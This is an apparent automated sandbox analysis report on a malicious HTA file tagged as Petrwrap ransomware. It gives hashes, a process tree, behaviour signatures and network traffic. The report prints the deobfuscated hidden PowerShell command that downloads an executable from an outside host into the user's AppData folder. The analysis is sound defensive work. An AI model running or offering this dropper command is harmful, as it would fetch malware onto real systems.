Resubmissions

22-08-2024 18:43

240822-xc563asamh 10

21-08-2024 17:16

240821-vtjnaathnq 10

30-06-2024 00:59

240630-bcjr6svbkk 10

20-06-2024 02:02

240620-cf43ysxbnk 10

20-06-2024 01:44

240620-b5v1xawemk 10

19-06-2024 01:10

240619-bjmseavfmp 10

18-06-2024 20:40

240618-zfwsxawdpa 10

18-06-2024 13:45

240618-q2vcjawdle 10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18-06-2024 13:45

General

  • Target

    Documents/Ransomware.Petrwrap/Ransomware.Petrwrap/myguy.hta

  • Size

    13KB

  • MD5

    0487382a4daf8eb9660f1c67e30f8b25

  • SHA1

    736752744122a0b5ee4b95ddad634dd225dc0f73

  • SHA256

    ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6

  • SHA512

    e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106

  • SSDEEP

    192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
1
(new-object system.net.webclient).downloadfile("http://french-cooking.com/myguy.exe", "C:\\Users\\Admin\\AppData\\Roaming\\35217.exe")
2
URLs
exe.dropper

http://french-cooking.com/myguy.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Documents\Ransomware.Petrwrap\Ransomware.Petrwrap\myguy.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\35217.exe');
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2108

Network

  • flag-us
    DNS
    french-cooking.com
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    french-cooking.com
    IN A
    Response
    french-cooking.com
    IN A
    54.36.91.62
  • flag-fr
    GET
    http://french-cooking.com/myguy.exe
    powershell.exe
    Remote address:
    54.36.91.62:80
    Request
    GET /myguy.exe HTTP/1.1
    Host: french-cooking.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 403 Forbidden
    date: Tue, 18 Jun 2024 13:46:09 GMT
    content-type: text/html; charset=iso-8859-1
    content-length: 199
    server: Apache
    x-iplb-request-id: BF65D127:D093_36245B3E:0050_66718FA1_6F365:73D6
    x-iplb-instance: 52245
  • 54.36.91.62:80
    http://french-cooking.com/myguy.exe
    http
    powershell.exe
    261 B
    528 B
    4
    2

    HTTP Request

    GET http://french-cooking.com/myguy.exe

    HTTP Response

    403
  • 8.8.8.8:53
    french-cooking.com
    dns
    powershell.exe
    64 B
    80 B
    1
    1

    DNS Request

    french-cooking.com

    DNS Response

    54.36.91.62

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.